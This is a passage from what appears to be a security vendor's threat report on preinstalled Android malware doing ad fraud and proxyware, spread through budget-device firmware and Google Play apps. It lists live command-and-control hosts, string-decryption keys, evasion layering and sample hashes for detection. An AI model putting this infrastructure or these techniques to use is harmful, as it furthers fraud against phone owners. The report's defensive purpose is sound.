The enabler com.android.system.lite is signed with platform-key cert 0105bc4c… (DN CN=ZED, O=ZED, L=ShenZhen, C=CN, ZED@Zediel.com). This maps to a real Shenzhen Android OEM/tablet maker, Shenzhen Zediel Co., Ltd., which holds an IEEE MAC allocation:

MAC OUI A0:53:94 (MA-L block, registered 2021-11-03) → device-level IOC. Any device whose Wi‑Fi MAC starts with A0:53:94 is a Zediel build — usable to hunt all affected devices in telemetry regardless of installed payloads, and to estimate true fleet size.

The device models seen in telemetry corroborate this independently. The model strings reported by affected devices point overwhelmingly to low-cost, white-label handsets, in two distinct patterns.

The first is region-coded firmware strings, where the _EEA and _US suffixes are the regional build markers typical of no-name ODM devices, alongside raw board support package names. A board name surfacing as the product model is not something a user-installed app produces. It appears when the component ships inside the vendor firmware image.

The second is counterfeit flagship naming. Unbranded devices report themselves in imitation of Samsung flagships, alongside genuine budget rugged brands, two of which resolve to real vendors.

Pattern	Model strings observed
Region-coded ODM firmware builds	J10_EEA, A9_EEA, T13_EEA, Q6_EEA
Board support package names	k62v1_64_bsp (MediaTek MT6762)
Counterfeit flagship naming	S25 Ultra, S24 Ultra, S26 Ultra
Budget rugged brands	S200 X (Doogee), KINGKONG X (Cubot)

Representative device model strings from telemetry, grouped by pattern. Region coding and board names indicate firmware-level delivery; counterfeit flagship naming indicates the marketplace segment.

This list is best read as evidence of a distribution mechanism rather than a target list. Region-coded firmware strings and board-level build names indicate the payload resides in the ROM.

Counterfeit flagship names and budget rugged brands point to an ODM ecosystem sold globally through online marketplaces. The individual model names matter far less than what they collectively indicate— that this shipped in firmware.

Important clarification: The above analysis attributes the firmware/device supply chain based on the platform key that signs the enabler component. This technical attribution does not constitute proof that Shenzhen Zediel authored, distributed, or was aware of the malware. The payload operator (discussed below) is tracked as a separate actor, and multiple intermediaries may exist between the certificate holder and the final point of malware integration.

Malware operator lineage — Joker → Phantom/Click → this cluster

Dr.Web’s Android.Phantom.5 entry lists our exact IOCs cgb.jingongbuxiao[.]com and 5.ahd187[.]com/thirdsdk/flowcashpack/, and references zhuifengzhe[.]top, which is a domain used by Android.Joker.310.origin (2021) (premium-SMS subscription fraud + remote code loading). This ties a multi-year operator timeline:

Era	Family (Dr.Web)	Behavior	Shared infrastructure
2021	Android.Joker.310/242.origin	Premium-SMS fraud + remote DEX loading	Zhuifengzhe[.]top
2025	Android.Phantom.5 (dropper) → Android.Click.429.origin	Byte-array-decrypt dropper → JS WebView click fraud	Cgb.jingongbuxiao[.]com,  5.ahd187[.]com/thirdsdk/flowcashpack/,  Zhuifengzhe[.]top,  Fyapi.freeflightbird[.]com,  Newsadapi.zhuifengzhe[.]top
2024-2025	Midnight Mimosa	Preinstalled enabler + ad fraud + click fraud + residential proxyware	api.weatherlive.world,  Cgb.jingongbuxiao[.]com,  5.ahd187[.]com, proxyware C2s (EnLoaderLib/dykr)

The same code on Google Play

The campaign is not confined to preinstalled firmware. Thirteen applications published on Google Play were found carrying the same family markers as the dropped cover apps, in builds distributed by Play itself.

#	Package
1	com.audify.editor.wavrge
2	appicon.diy.tools.prop
3	com.audify.editor.pro
4	com.prorestore.qr
5	com.message.recovery.prorestore
6	com.go.weather.mot
7	com.cool.weather.yl
8	com.dmstudio.weather
9	com.dl.guard.lock
10	picturetranslate.extractor.text.lite
11	com.notemaster.record.mark
12	com.arabmusic.tap.aghani_tamerhosny
13	org.life.goal.tools

Applications published on Google Play carrying ad-fraud family markers.

These are genuine Play builds. They carry the Play signature block whose absence identified the spoofed installs earlier in this report. The provenance is real, which means these applications passed Play review and were distributed by Google to users who went looking for a weather app or a QR scanner. No counterfeit hardware is involved.

The signing identities rotate deliberately. Thirteen packages carry 13 different signing certificates, spread across at least two developer accounts, fivedev and CPS Developer, with the remainder unresolved.

The link between them is the shared code, not the certificate. An actor who rotates signing identity per package is anticipating that any one of them will eventually be burned.

While they do provide functionality, they also load and display ads outside the app, sometimes even when the user isn't even using the phone.

This is an example of one of the applications listed in the Google Play Store that communicates with same servers and the embedded malware.

The campaign has two independent distribution channels. One rides in the firmware of cheap hardware and reaches users who never chose to install anything. The other goes through the official store and reaches users who chose deliberately. Both run the same ad-fraud code against the same infrastructure. Removing either channel leaves the other intact.

Conclusions

Preinstalled malware is a different threat class. Every user-facing defense assumes the owner is in the loop at installation: the install prompt, the store review, Play Protect, and the ability to uninstall afterwards.

A platform-signed system application holding INSTALL_PACKAGES and GRANT_RUNTIME_PERMISSIONS removes the owner from that loop entirely, and this campaign then switches off the one automated defender that remains. The compromise is complete before the phone is first switched on. 

The layering is in itself a defense. The APK is an empty shell. The native library is a trampoline over an encrypted blob. The framework's strings are encrypted. The plugins are JARs carrying a .o extension, and the payloads are APKs served as .png files. The modules are provisioned from a remote server, so a sample examined statically often contains no active payload at all. Detection has to see through the packaging or watch the behavior. 

One operator, many names. Rotating package names, signing certificates and renamed native libraries mean a package-name blocklist ages out immediately. Detection should key on the invariant core: libeasy.so and cn.kw.lib.hex, the api.weatherlive.world C2. 

Remediation cannot rely on uninstall. Because the root component ships in the system partition, an affected owner cannot remove it by the normal route. Clearing the device requires firmware-level cleanup or disabling the component over ADB, and neither is realistic for most people who own these phones. The durable fix sits with the vendors and the marketplaces that ship and sell the affected firmware.

Indicators of compromise

Type	Indicator	Context
Host	api.weatherlive[.]world/br_upgrade/upgradeV2/getConfigs	AES/HmacMD5 module control channel
Host	api.weatherlive[.]world/odborwer_dot/cm	Telemetry beacon (DotReporter)
Host	oss.showtimetool[.]com	Module/asset CDN (payloads served as .png)
Host	39.96.8.180:9008/ssc/rprt/bug	DX/S1 framework bug-report C2
Host	120.78.215.151:80/api/bugLog	Embedded-framework crash C2
Host	85.17.70.38:6000 (live)	EnLoaderLib proxyware C2 (applock.en); reached via the domains below
Host	*.apple.{0aa0cf0637d66c0d[.]com, aa86a52a98162b7d[.]com, 442fe7151fb1e9b5[.]com, v46wd6uramzkmeeo[.]in}	Proxyware control hosts, pattern {productId}.apple.<domain>:6000
Pkg	com.android.system.lite (vc 900000, “System”)	The enabler
Pkg	com.mobile.applock.en / .wt / .tg	Dropped gogo droppers (proxyware / ad-fraud)
File	libeasy.so (a8847b68428fde206b6dff8001051f92)	Native core; RC4-drops cn.kw.lib.hex
Cipher	AES-128-CFB key=MD5(“aGV4QCFRQFcjRQ==”) IV 0102030405060708	hex framework strings
Cipher	AES-128-CFB key=MD5(“dHhAZXhAc2Vy”)	enabler strings
Cipher	AES/CFB key=MD5(“ZHhAIVFAVyNF”) (dx@!Q@W#E)	stage-3 plugin strings
Marker	installer name com.android.vending with no Play frosting signature	spoofed install source, forged Play provenance

Full sample set (120 MD5 hashes)

MD5	Package
05ae89e761a890fa24f80f4be7263651	com.android.browser
1da42505f1c83959c7f901f5139a158e	com.android.browser
a147cd8f72aadfcf78f7723db6813e86	com.android.browser
f456f0c6b89bd3d5124699d43971d094	com.android.browser
2c77653b889dfccd649b82446f8c0d1b	com.android.deskclock
5d29e9b24708c3ec36d1d59036124838	com.android.deskclock
998e9010e5dfc4e4645f5572cbbe5b53	com.android.deskclock
b3a4405d1b8d43545d07b10581008d32	com.android.deskclock
0377ca97ac0ca35f9134052fede67a81	com.android.gallery3d
0b0d8e995e6ff24d4e9d00417446c25e	com.android.gallery3d
1414d4ef2d1191080abc59a407dcb6c5	com.android.gallery3d
345057421c7d9ac2b671c47449f35030	com.android.gallery3d
36deebfcda4012d18706cd170c1edf1f	com.android.gallery3d
37f18a20b9cf32e6f07450e903eaad7c	com.android.gallery3d
4507363415e7dc6d2cab14eeed137f6c	com.android.gallery3d
512a6db4a22244272826f39da020fb44	com.android.gallery3d
5b3a49938f455d1197736971c4c07228	com.android.gallery3d
6aca76699ec0bb8e51372d5c68c8359b	com.android.gallery3d
815b910f1efc95f38ba0c5b12c4f2129	com.android.gallery3d
c75ec7f3bcbc879aae9a21ad544d3232	com.android.gallery3d
d9fc6b2cd5eaa3929207f1029663d947	com.android.gallery3d
e51c11442a529dcd06dc7c8e45974ec2	com.android.gallery3d
e9b91e1d94bb3ff9a1c00b1c13eb7960	com.android.gallery3d
be22c91b4578ac2357a16133615df335	com.android.settings
d5d88214170875386ab855172f881e51	com.android.sys.bcprot
dce5b0dc0e7d7059b5ab8384a7c24ec4	com.android.sys.bcprot
61aac6a98abd6dcff0dc41bb88159786	com.android.sys.dts
2b784622422f4280e0b3e38b30dd87bc	com.android.sys.gmsprot
2b7f1a7d5f5515c05d0c8e3857155ae2	com.android.sys.prot
3d3358b1057b1bfbd7e60577d8a31e0c	com.android.sys.prot
7400c34f7c6f866499029f5e759f58bd	com.android.sys.prot
d4ceb05682ecd60f4ebb4e76e02fcf7d	com.android.sys.prot
60bc23d3d453f258e2c4ca421cd086a9	com.android.system.lite
b862681953e945439167a736ba4cd41b	com.android.system.lite
ed1a6bed83899952b464c27aef9752cc	com.android.weapps
0903d7fd3e1d4a599a7eb3c5d356779b	com.android.weiapps
a57a1ba15364dfb35d334f644d7049e8	com.mb.applock.a02
cde0490e11db8ad54737c1df59ec658b	com.mb.applock.ea
08d231c6a5303e543eb60d4181f6a4ea	com.mobile.applock.en
7f7747575980098bdc98e7b7aa362697	com.mobile.applock.en
d3faec4f013c4a1e84a1d681448312c0	com.mobile.applock.en
e75e183027bf897eda6447366c7acd01	com.mobile.applock.tg
20108557cacd24263e7e611afc327801	com.mobile.applock.wg
aac942aaf6ec0773cbac87fde4a6b284	com.mobile.applock.wg
cf20de9d9ddc952bb2265002d26a916f	com.mobile.applock.wg
f602230f54507cbddf5ef3014737d768	com.mobile.applock.wg
079298a7a506b376def4f4ff9a250672	com.mobile.applock.wt
20cefb2c667f945d482daded7e698eea	com.mobile.applock.wt
254bc5f6f81de1f3c47534e6febaf023	com.mobile.applock.wt
31b3280f1c0836c39c470932cf6c3e6f	com.mobile.applock.wt
3b35d3c5667136134b20a8411803c97d	com.mobile.applock.wt
3bc159537c909fa86bcc55eda127b5aa	com.mobile.applock.wt
42a9f64e75911c167ec7a163e8b24920	com.mobile.applock.wt
4a171f62d1bab01827b06ae73d4caafa	com.mobile.applock.wt
66c6512b9a73425aba40c8bfa95d23a0	com.mobile.applock.wt
6df909898f5f1394e78508d1152fab38	com.mobile.applock.wt
6ee2be3e5558085b532dacc8db61f3e9	com.mobile.applock.wt
6eea0568d5cc776ae03e09149cec3cd8	com.mobile.applock.wt
765d3ce85a6393d05973c4cfa7738116	com.mobile.applock.wt
90e0d27d808105167fdaa3a22b918217	com.mobile.applock.wt
9e7b34e63d8d38e37667f88a945ae69a	com.mobile.applock.wt
a02f28387527abe90d73d2879f671972	com.mobile.applock.wt
abe12db77a62ecb99d6ab5dc4fff18c7	com.mobile.applock.wt
de66cac88f156c3227749e03bdf7cf54	com.mobile.applock.wt
e6650dc6721aaa27f8a289ff92e613ff	com.mobile.applock.wt
e7c56b4f580da53cd0e4f11d1a11e402	com.mobile.applock.wt
2de346602433cdd1668f36b2e9db0be1	com.mobile.applock.xk1
af16072864ae0f9d755f8cf00fded359	appicon.diy.tools.prop
e974cf4cc5d55cddc04f026dd3ea72b8	appicon.diy.tools.prop
250205ee4b8de59e60c745856f439608	com.android.non.szcz
af7f1eef22bf5ee3d0a394f53ba7e1b8	com.arabmusic.tap.aghani_tamerhosny
7322d8a65a56a7ab09f4d526cb343e3d	com.awht.zfip.zfyg
0b8d3cd264c191f4884a25d0cc5318b5	com.cool.weather.yl
33b2d3ec9a35cfb0b5a5d7b24ce4140e	com.cool.weather.yl
3bb270d4927e2a8385793d9084a92fd3	com.cool.weather.yl
4e46549122c0236307c5eef8891466f5	com.cool.weather.yl
642d84ed5660407b972f1df642acb192	com.cool.weather.yl
9a3d04aa36654b5c4b21edd22e46f92d	com.cool.weather.yl
b7d0d5ae09b0d2d2f999c1087c450456	com.cool.weather.yl
cdfcc848e16660d607aba6ecf24567f4	com.cool.weather.yl
f0b7b1c940ebcee97eb68f528682fc50	com.cool.weather.yl
1150da1af88729e54a34b8da5a2741c7	com.dl.guard.lock
36f9e8cf47a28f9803fba427cf02a25c	com.dl.guard.lock
6739fe083cfa8dec9b4f989ccba0e99e	com.dl.guard.lock
ca7e2d265fc35aede432c4636a2cf4cb	com.dl.guard.lock
fcb9f38cc687fc8a4637e0acdf91ab66	com.dl.guard.lock
c55c9d7e12cc273b812ceffca8f62d4b	com.energy.appstore
9a46098de785ae732e5fced55a2f3063	com.fb.w.weather
d145b14b9cc15799485f2592b2c16d9a	com.fb.w.weather
0a26a9d5f7ab91cb5eed852cf83ef078	com.fe2bu1.wh
294ab3f586d76772ae89add417cf6324	com.fe2bu1.wh
a13af0174bc211709e8b73bf60492a17	com.fe2bu1.wh
b974ef4106af6b932df352563a9b8b3c	com.fe2bu1.wh
e9ec6d7b50c1e54cd523283b9de55e10	com.fe2bu1.wh
5400ffac371c5e5c9b7f3705ce9faca5	com.message.recovery.prorestore
92f2fd8bcccc8ec4ffa64c7f6b3b9b8d	com.message.recovery.prorestore
ab8d6be686ca9413e27a11e85f9cef1a	com.message.recovery.prorestore
879168159c155758dbfd7a76e8f21548	com.notemaster.record.mark
b6c5f7dfaf9d47cd67380a48df5e1731	com.notemaster.record.mark
cb19dbf279a3488aec76c17e8e122c14	com.notemaster.record.mark
fc812444baa071f5141ddad812d673de	com.notemaster.record.mark
4f7d3c5859100d65ff02449884841b9c	com.tst.blank
50e9cdc3ed145bbc688356eda07f8eb3	com.tst.blank
9f1e2249003ab22cf8a38048e0ff6f6c	com.tst.blank
e39bddf592016ad6d0784770df3e2ffe	com.yun.wth.er
7469c9c06e5f324ca608e0140156bbad	org.life.goal.tools
4521a5bbe0f33a15da86bd80ff5d6d9c	picturetranslate.extractor.text.lite
8ec360829f4f7ae8dcae47c02b996762	picturetranslate.extractor.text.lite
d56158a2cc8d13778df850907733b2c4	picturetranslate.extractor.text.lite
fac6548a4a7a88156468b809c4f877f5	com.audify.editor.wavrge
ac8957a474f8aa812c7b233aafde4723	appicon.diy.tools.prop
cf4f24fdd283f80313565b08fea9d06d	com.audify.editor.pro
3c098465af131141996ff840bd34e791	com.prorestore.qr
387f7af167530486adcf3d8546063462	com.go.weather.mot
ee4e778e53ce4d4339d7c7888d06384d	com.dmstudio.weather
c8ea2a7c1f52c4c2474475c28373ee27	com.dl.guard.lock
836739fe7196437d8e998245b6f2b3b4	picturetranslate.extractor.text.lite
d6ba4044f9d57f7e86d83187982ed593	com.notemaster.record.mark
838dc8fcde1b28171e404ece1cfcde44	com.arabmusic.tap.aghani_tamerhosny
da67e37be01c20566990152ecfb14ed1	org.life.goal.tools

Legal Disclaimer: This article is published for informational and educational purposes only, as part of Bitdefender’s ongoing security research mission. The information presented is based on technical research conducted by Bitdefender Labs using proprietary detection technologies and publicly available sources. Bitdefender does not make any legal determination regarding the activities described herein and does not claim that any named entity has engaged in illegal conduct. The identification of certificates, package names, or infrastructure associated with particular companies or brands reflects technical observations only and does not constitute an allegation that such parties authored, distributed, or knowingly facilitated malware distribution. Readers should exercise their own judgment and consult appropriate authorities or legal counsel if they believe they have been affected by any of the activities described. Domain names, URLs, and technical indicators listed in this article are provided solely to help consumers and security professionals identify potentially harmful infrastructure. All trademarks mentioned belong to their respective owners. Bitdefender disclaims any liability for actions taken based on the information in this article.